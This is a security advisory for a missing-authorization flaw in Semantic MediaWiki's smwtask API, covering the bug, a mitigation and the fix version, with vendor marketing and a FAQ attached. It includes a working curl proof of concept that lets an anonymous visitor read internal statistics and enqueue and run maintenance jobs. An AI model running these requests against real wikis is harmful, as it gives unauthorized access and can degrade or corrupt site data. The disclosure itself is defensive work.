Summary
Semantic MediaWiki'a missing authorization in the smwtask API module allows unauthenticated access to admin-only maintenance tasks
The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.
Details
SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check, no smw-admin, no checkUserRightsAny(), no per-task right.
The only gates on the module are:
needsToken( 'csrf' ), this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.mustBePosted()/isWriteMode(), do not gate on group membership.
By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.
Tasks reachable anonymously through the module include:
table-statistics,duplicate-lookup, return internal store statistics and enumerate the internal object-ID space (intended to be behindSpecial:SMWAdmin→ Supplementary functions).insert-job, enqueues any Semantic MediaWiki job type (includingsmw.fulltextSearchTableRebuild,smw.propertyStatisticsRebuild,smw.entityIdDisposer) for an arbitrary title.update,check-query,run-joblist, run update jobs and#askqueries synchronously within the request;run-joblistpops and executes queued jobs inline.
Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.
Proof of concept
On a default installation, as an unauthenticated visitor:
# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
# -> {"query":{"tokens":{"csrftoken":"+\\"}}}
# 2. Read internal database statistics, HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'action=smwtask&task=table-statistics¶ms={}&token=%2B%5C&format=json' \
'https://HOST/api.php'
# -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...
# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
--data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
--data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
# -> {"task":{"done":""}} (job now present in the queue)
# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
--data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
--data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
# -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}
Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).
Affected versions
All releases that ship the smwtask API module (introduced in 3.x) up to and including the current release.
Mitigation
Upgrading to 7.3.0+ or apply a local patch in localSettings.php to disable the endpoint if you can't update:
$wgExtensionFunctions[] = static function () {
unset( $GLOBALS['wgAPIModules']['smwtask'] );
};
Impact
An unauthenticated attacker can:
- Retrieve internal Semantic MediaWiki database statistics, row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics, and enumerate the internal object-ID space.
- Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs,
#askqueries, and queued jobs, degrading wiki performance. - Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.
Practical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.
The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.
GHSA-JR78-W6W5-M8F8 has a CVSS score of 7.3 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (7.3.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-JR78-W6W5-M8F8? GHSA-JR78-W6W5-M8F8 is a high-severity missing authorization vulnerability in mediawiki/semantic-media-wiki (composer), affecting versions >= 3.0.0, <= 7.2.1. It is fixed in 7.3.0. The application does not perform an authorization check before performing a sensitive operation.
- How severe is GHSA-JR78-W6W5-M8F8? GHSA-JR78-W6W5-M8F8 has a CVSS score of 7.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of mediawiki/semantic-media-wiki are affected by GHSA-JR78-W6W5-M8F8? mediawiki/semantic-media-wiki (composer) versions >= 3.0.0, <= 7.2.1 is affected.
- Is there a fix for GHSA-JR78-W6W5-M8F8? Yes. GHSA-JR78-W6W5-M8F8 is fixed in 7.3.0. Upgrade to this version or later.
- Is GHSA-JR78-W6W5-M8F8 exploitable, and should I be worried? Whether GHSA-JR78-W6W5-M8F8 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-JR78-W6W5-M8F8 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-JR78-W6W5-M8F8? Upgrade
mediawiki/semantic-media-wikito 7.3.0 or later.